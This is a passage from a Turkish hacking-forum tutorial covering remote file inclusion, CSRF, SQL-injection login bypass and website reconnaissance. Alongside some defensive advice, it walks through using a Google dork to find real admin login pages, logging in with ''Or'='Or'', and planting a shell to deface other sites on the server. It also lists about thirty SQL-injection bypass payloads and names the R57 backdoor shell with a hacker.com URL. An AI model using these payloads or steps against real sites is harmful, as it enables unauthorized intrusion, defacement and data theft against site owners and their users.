(http://www.hacker.com/backdoor_shell.php.)

Uygulamaya yüklendikten sonra, bu arka kapı daha sonra temel sunucuyu ele geçirmek veya uygulama veritabanına erişim sağlamak için kullanılabilir.

R57 arka kapı kabuğu, RFI bölümleri için popüler bir seçimdir.



61anknu.jpg

6.6 DIY RFI Önleme ve Azaltma

Bir dereceye kadar, uygun giriş doğrulama ve temizleme yoluyla RFI saldırıları riskini en aza indirebilirsiniz. Ancak, bunu yaptığınızda, tüm kullanıcı girdilerinin tamamen sterilize edilebileceği yanılgısından kaçınmak önemlidir. Sonuç olarak, sterilizasyon yalnızca özel bir güvenlik çözümünün tamamlayıcısı olarak düşünülmelidir.

Bunu söyledikten sonra, kullanıcı tarafından sağlanan/kontrol edilen girdileri elinizden gelen en iyi şekilde sterilize etmek her zaman tercih edilir.

Bu girdiler şunları içerir:

GET/POST parametreleri
URL parametreleri
Çerez değerleri
HTTP başlık değerleri

Temizleme sürecinde, giriş alanları bir kara liste (izin verilmeyen kötü niyetli karakterler) yerine bir beyaz listeye (izin verilen karakter kümesi) göre kontrol edilmelidir. Saldırganlar, kodlanmış veya onaltılık biçimler gibi farklı bir biçimde girdi sağlamayı seçebildiğinden, genel olarak kara liste doğrulaması zayıf bir çözüm olarak kabul edilir.

Ayrıca, sunucu tarafında uygulanacak çıktı doğrulama mekanizmaları için en iyi uygulamadır. İşlem yükünü azaltma avantajına sahip olan istemci tarafı doğrulama işlevleri, proxy araçları tarafından yapılan saldırılara karşı da savunmasızdır.

Son olarak, yükleme dizinleri için yürütme iznini kısıtlamayı ve izin verilen dosya türlerinin (örneğin PDF, DOC, JPG, vb.) beyaz listesini tutmayı ve aynı zamanda yüklenen dosya boyutlarını kısıtlamayı düşünmelisiniz.

Son olarak yararlı bulduğum konulardan biri olan LFİ & RFİ Ofansif ve Defansif Anlatım konusu okumak için TIKLAYINIZ.



h7fao2l.png




ec58a76.jpg


7. CSRF Nedir?

CSRF yani siteler arası istek sahtekarlığı, herhangi bir web uygulamasında oturum açmış bir kullanıcının oturumunu o web sitesinin açığından faydalanarak kullanıcının isteği dışında , saldırganın sanki o kullanıcıymış gibi erişim sağlayıp işlemler yapmasıdır. Web sitelerindeki bu açıklar, çoğunlukla GET requestleri ve SESSION işlemlerinin doğru kontrol edilememesi gibi durumlarda ortaya çıkan açıklardır. Uygulamaya giden isteklerin hangi kaynaktan ve nasıl gönderildiği kontrol edilmeyen sistemlerde ortaya çıkan bu zafiyet, “Session Riding” olarak da bilinir.


Saldırganların kullanıcının oturumuna erişebilmeleri için sadece zararlı bağlantıya tıklaması yeterlidir. Örneğin bu saldırılar, hesaplardaki e-posta adresini değiştirmek, şifreleri değiştirmek veya para transferi yapmak olabilir. Güvenliği ihlal edilmiş kullanıcının ekstra yetkinlikleri varsa saldırgan, uygulamanın tüm verilerinin ve işlevlerinin tam denetimini ele geçirebilir.


h81uweh.jpg


7.1 CSRF Saldırısı Nasıl Oluşturulur?


CSRF saldırısı oturum açmış bir kullanıcının saldırganın kontrol ettiği web sitesine erişmesi sağlanır ve sonra JavaScript kodu çalıştırılarak veya formlar göndererek süreci ilerletir. Bir CSRF zafiyeti için gereken HTML'yi manuel bir şekilde yazmak özellikle request çok fazla parametre içeriyorsa zor olur. Bir CSRF istismarı oluşturmak için en kolay yöntem Burp Suite programında bulunan CSRF PoC oluşturucuyu kullanmaktır.



ar94py8.jpg


7.2 Saldırı Yapmak İçin Gerekenler

Bir CSRF güvenlik açığını kötüye kullanabilmek için ilk yapacağınız şey kötüye kullanabileceğiniz bir davranış bulun örneğin; şifreyi veya e-postayı değiştirin, mağdurun sizi bir sosyal ağda takip etmesini sağlayın. Oturum yalnızca tanımlama bilgilerine veya HTTP Temel Kimlik Doğrulama başlığına dayanmalıdır, oturuma erişim için başka bir başlık kullanılamaz. Son olarak, istekte beklenmedik parametreler olmamalıdır.

Bu güvenlik açığına yakalanmamak için yapabileceğiniz birkaç yöntem bulunmaktadır. Bunlar;


  • Oturum çerezi SameSite çerezleri kullanıyorsa, çerezi rastgele web sitelerinden gönderemeyebilirsiniz.​
  • Kaynaklar arası kaynak paylaşımı: ne tür bir HTTP isteği gerçekleştirmeniz gerektiğine bağlı olarak, mağdur sitenin CORS policysini es geçmeyin.​
  • Parola kullanıcısından eyleme yetkilendirme vermesini isteyin .​
  • Bir captcha'yı çözün.​
  • Referrer veya Origin başlıklarını okuyun.​
  • Post veya Get isteklerinin parametrelerinin adını değiştirin​
  • Her oturumda bir CSRF token kullanın. Token, eylemi onaylamak için isteğin içinde gönderilmelidir ve CORS ile korunabilir.​
Not: Saldırı yaparken kötüye kullanmak istediğiniz form CSRF token ile bir POST isteği göndermek için hazırlanmış olabilir. Bunun bir GET'in de geçerli olup olmadığını ve bir GET isteği gönderdiğinizde CSRF tokenın onaylanıp onaylanmadığını kontrol etmelisiniz .

Not: Bazı uygulamalar token olduğunda başarılı bir doğrulama yapar ama token atlanırsa doğrulama işlemi de atlanmış olur. Böyle bir durumda saldırgan , doğrulamayı atlayarak CSRF saldırısı gerçekleştirmek için sadece değerini değil token içeren tüm parametreyi kaldırabilir.

h20mm2l.jpg


7.3 CSRF Nasıl Tespit Edilir?

Kullanıcı tarafından gönderilen bir HTTP isteğinin gerçek kullanıcı mı yoksa bir saldırgan tarafından mı gönderildiğini tespit etmek kolay değildir. Sistemde Token yöntemi kullanılması, kimliğin arka planda otomatik olarak doğrulanmasını sağlar bu sayede kullanıcı sürekli kimlik doğrulama istekleriyle uğraşmaz. Genelde CSRF açığını engellemek için sisteme giriş yapan kullanıcıya, her işlemde farklı ve tahmin edilmesi güç token bilgisi verilir. Verilen bu token bilgisi oturum boyunca aynı kalmaz ve kullanıcı oturumu kapatınca geçersiz hale getirilmelidir. Eğer token veya benzeri bir anahtar kontrolü yapılmazsa, arka planda gönderilen sahte bir istek ile gerçek kullanıcının gönderdiği istek ayırt edilemez ve güvenlik zafiyeti ortaya çıkar.

Not: CSRF token oturum tanımlama bilgisi ile ilgiliyse, hedefi oturuma ayarlamanız gerekeceği için saldırı çalışmaz ve kendinize saldırmış olursunuz.


6rkilxm.jpg


7.4 CSRF Zafiyetine Karşı Alınabilecek Önlemler

CSRF zafiyetine karşı hem sistem tarafından hem de kullanıcı tarafından alınabilecek birkaç önlem bulunur. Bu önlemler sistem ve kullanıcı tarafında olmak üzere ikiye ayrılır.

Sistem tarafında alınması gereken önlemler:

Token kullanın: En popüler olan bu yöntem kullanıcıya her oturum için random ve benzersiz “token” bilgisi verilir. Bu yöntem CSRF Token veya Synchronizer Token olarak adlandırılır. Web uygulaması, sistem tarafından oluşturulmuş tokeni, istek token ile karşılaştırır. Eğer token verileri eşleşirse, isteğin gerçek kullanıcı tarafından gönderildiği anlaşılır ve istek onaylanır. Veriler eşleşmezse istek reddedilir ve böylece kötü niyetli istekler engellenmiş olur.

Get metodu yerine Post metodu kullanın: Kullanıcının sisteme gönderdiği önemli veriler POST metodu ile alınmalıdır.

CAPTCHA kullanın: Bir web formunda captcha doğru olmadığı için işlem gerçekleşmeyeceği için “CSRF” saldırısına karşı bir önlemdir.

Kesin çözüm değildir ancak kullanıcılardan gönderilen isteklerin `HTTP Referer` başlıklarını kontrol edin.


Double Submit Cookie Pattern Yöntemi kullanın: Çerez ve istek parametresinde rastgele bir değer göndermedir. Kullanıcıların oturum açma talebi sistemde doğrulandığında sistem istemci tarafında oturum ID si oluşturur ve çerezlere kaydeder. Bunun yanında token oluşturur ve kullanıcının makinesinde ayrı bir çerez olarak saklar. Server, form parametresi olarak gönderilen tokeni, çerez değerine bakarak doğrular ve tamamlanacak işlemi yetkilendirir. Çapraz kökenli bir saldırgan, aynı kökenden gelen ilkeye göre sunucudan gönderilen verileri okuyamaz veya çerez değerlerini değiştiremez.

Kullanıcı tarafında alınması gereken önlemler:

Çerezleri ve web site verilerini düzenli periyotlarla temizleyin.

Bilmediğiniz kaynaklardan gelen bağlantılara tıklamayın ya da kimden geldiğini anlamadığınız mailleri kontrol etmeden açmayın.

Kişisel bilgilerin bulunduğu web uygulamalarının oturum bilgilerini bilgisayarda kayıtlı tutmayın.



qqtycmj.jpg


8. Login Bypass Nedir?

Yazılımcıların bazen unuttuğu, bazense çok önemsemediği güvenlik açıkları, saldırganların web sitelerinde çeşitli kötü amaçlı işlemler gerçekleştirmesine izin verebilir.

Bunlardan bir tanesi Login Bypass açığıdır. Bu güvenlik açığı, SQL Injection yöntemiyle veritabanını kontrol eden kullanıcı adı ve şifreyi kırarak gerçekleştirilir. Windows sunucularında Linux’a nazaran daha sık karşılaşılır. Özellikle ASP.NET ve ASP web uygulamalarında ve MsSQL ile Microsoft Access veritabanını kullanan sistemlerde önceden bir tedbir alınmadıysa bu güvenlik açığıyla karşılaşılabilir.

Web sitelerini özel PHP scriptlerle oluşturan firmalar aynı zamanda birçok SQL denetimini uygulamak zorundadır. Bir saldırgan Login Bypass, Authentication Bypass, No Redirect Login Bypass gibi yöntemlerle veritabanı yönetimine erişebilir ve kullanıcıların geçerli oturum kimliklerini veya tanımlama bilgilerini çalabilir.

Login mekanizmasını bypass ederek içeri sızma, temel olarak zayıf bir denetimden kaynaklıdır. Saldırganlar içeri sızdığında korumasız dosyaları ararlar. Bu güvenli olmayan dosyalara erişim sağlayarak bilgi toplar ve korumalı uygulamalara saldırmaya çalışırlar.



bfxjuld.jpg


8.1 Admin Panel Bulma

SQL açığı tespit ettiğiniz ve istismar ederken şifresini bulduğunuz sitenin eğer ki login panelini (giriş panelini) admin panelini bulamıyorsanız bazı araçlar sayesinde bulabilirsiniz. Gizlenmiş admin panel dizinleri mevcut peki onları bulabilir miyiz? Kısmen evet çünkü bazı gizlenen paneller isimleri değiştirilebiliyor. Örneğin L0giN.php, GiRiS.html vb.. ama eğer stabil ise login.php, login.html gibi o zaman yüksek ihtimal bulabilirsiniz.


Admin Panel Bulucu Program İçin TIKLAYINIZ (1)

Admin Panel Bulucu Program İçin TIKLAYINIZ (2)

Bu iki araçta çalışmakta ve halen günümüzde hedef sitelerin admin panellerini bulabilmektedir.




mdyy1ts.jpg


8.2 Admin Panel Bypass Etme

Girilen Zararlı Karakterlerin Filtrelenmemesinden Dolayı Kaynaklanan Açıktır. Aynı Sql Injectiondaki Gibi Veri Tabanından Bilgi Çekmek İçin Kullanılan Komutlar İle Siteye Giriş Yapılır. Buradaki Amaç Komutları Username ve Password Kısmına Yazarak Siteye Giriş Yapmaktır.

İlk olarak tarayıcımızı açarak Google'a gidelim ve ardından şu dorkumuzu yazalım;

" inurl:admin/login.php "

yazdıktan sonra aratalım. Karşımıza bir sürü site çıkacaktır. Sitelerden herhangi birisine tıklayalım.



hs1m6kf.jpg




Siteye tıklar tıklamaz karşımıza login sayfası çıkacaktır. Çünkü dorkumuzu bu şekilde filtreleyerek şekillendirdik. Sitelerin login panelleri karşımıza çıkacaktır.



ft46wn2.jpg


Login sayfasına bypass kodlarımızı yazalım. Örnek olarak yazdığım kod;

''Or'='Or''

parola kısmına da aynısını yazarak login diyorum.



6ayrbhp.jpg


Ve görüldüğü üzere admin olarak panele giriş yaptım. Artık istediğimi yapabilirim. Bazı siteler upload (dosya yükleme) kısmı olmuyor ancak bunda var. Buradan shell sokarak sunucudaki diğer sitelere index atabiliriz.

Ancak bu şekilde giriş yaptığım gibi her siteye giriş olmaz. Eski bir açık olduğundan çoğu site korumasını alarak açıklarını kapatmıştır.

nhhm08v.jpg




8.3 Örnek Bypass Kodları


Örnek bypass kodlarımız;

''Or'='Or''

anything' OR 'x'='x

1'or'1'='1

' or 1=1 or ''='

" or 1=1 or ""="

' OR ''='

'' OR ''=''

'OR''='

hey' or 1=1–

''Or 1 = 1'

' or 1=1--

or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

hi") or ("a"="a

'hi' or 'x'='x';

x' or 1=1 or 'x'='y

\x27\x4F\x52 SELECT *

\x27\x6F\x72 SELECT *

'or select *

admin'--

")) or (("x"))=(("x

" or ""+"

admin"or 1=1 or ""="

admin") or ("1"="1"--




Bu kodlar ile giriş yapamadığınız sitelere giriş yapabilme ihtimalinizi arttırabilirsiniz.


h7fao2l.png




py6cwky.jpg


9. Hedef Web Site Hakkında Bilgi Toplama


Hedef web sitesi hakkında bilgi toplamak için site report netcraft sitesini kullanabiliriz. Örneğin turhackteam.org adresine bakalım.




adresine gidelim.

İşte karşımıza çıkan sonuçlar;



57uokq7.jpg


ayyc7y8.jpg



Sitemizin bağlı olduğu hostingler, ip adresleri, dns ve domain hakkında bi takım bilgiler çıkıyor. Analizde ise sitenin sağlıklı olduğunu ve bir sorunun olmadığını ilk görseldeki sağ üstteki 0/10 yazan yerden ve yeşil renkten anlayabiliriz.


jv44tfd.jpg


khptgnp.jpg


9.1 Sunucu İçerisini Görüntüleme


Herhangi bir web sitenin sunucu içerisini görüntüleyebiliriz. Bu sunucu içerisinde bambaşka siteler mevcut. Aratılan sitenin sunucu içerisinde bu siteler yer alır. Örnek olarak turkhackteam.org adresine bakalım.



adresine gidelim.


8tqwgzo.jpg



Görüldüğü üzere turkhackteam.org'un da yer aldığı pek çok siteli bir sunucu mevcut olduğunu gördük.


6lb67ii.jpg


9.2 İP Adresi Geçmişi Görme

Şimdi ise IP History'e bakalım.


adresine gidelim.


jahp5z2.jpg



karşımıza çıkan sonuçlar ve ip adresleri bu şekilde.


h7fao2l.png
eline sağlık
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.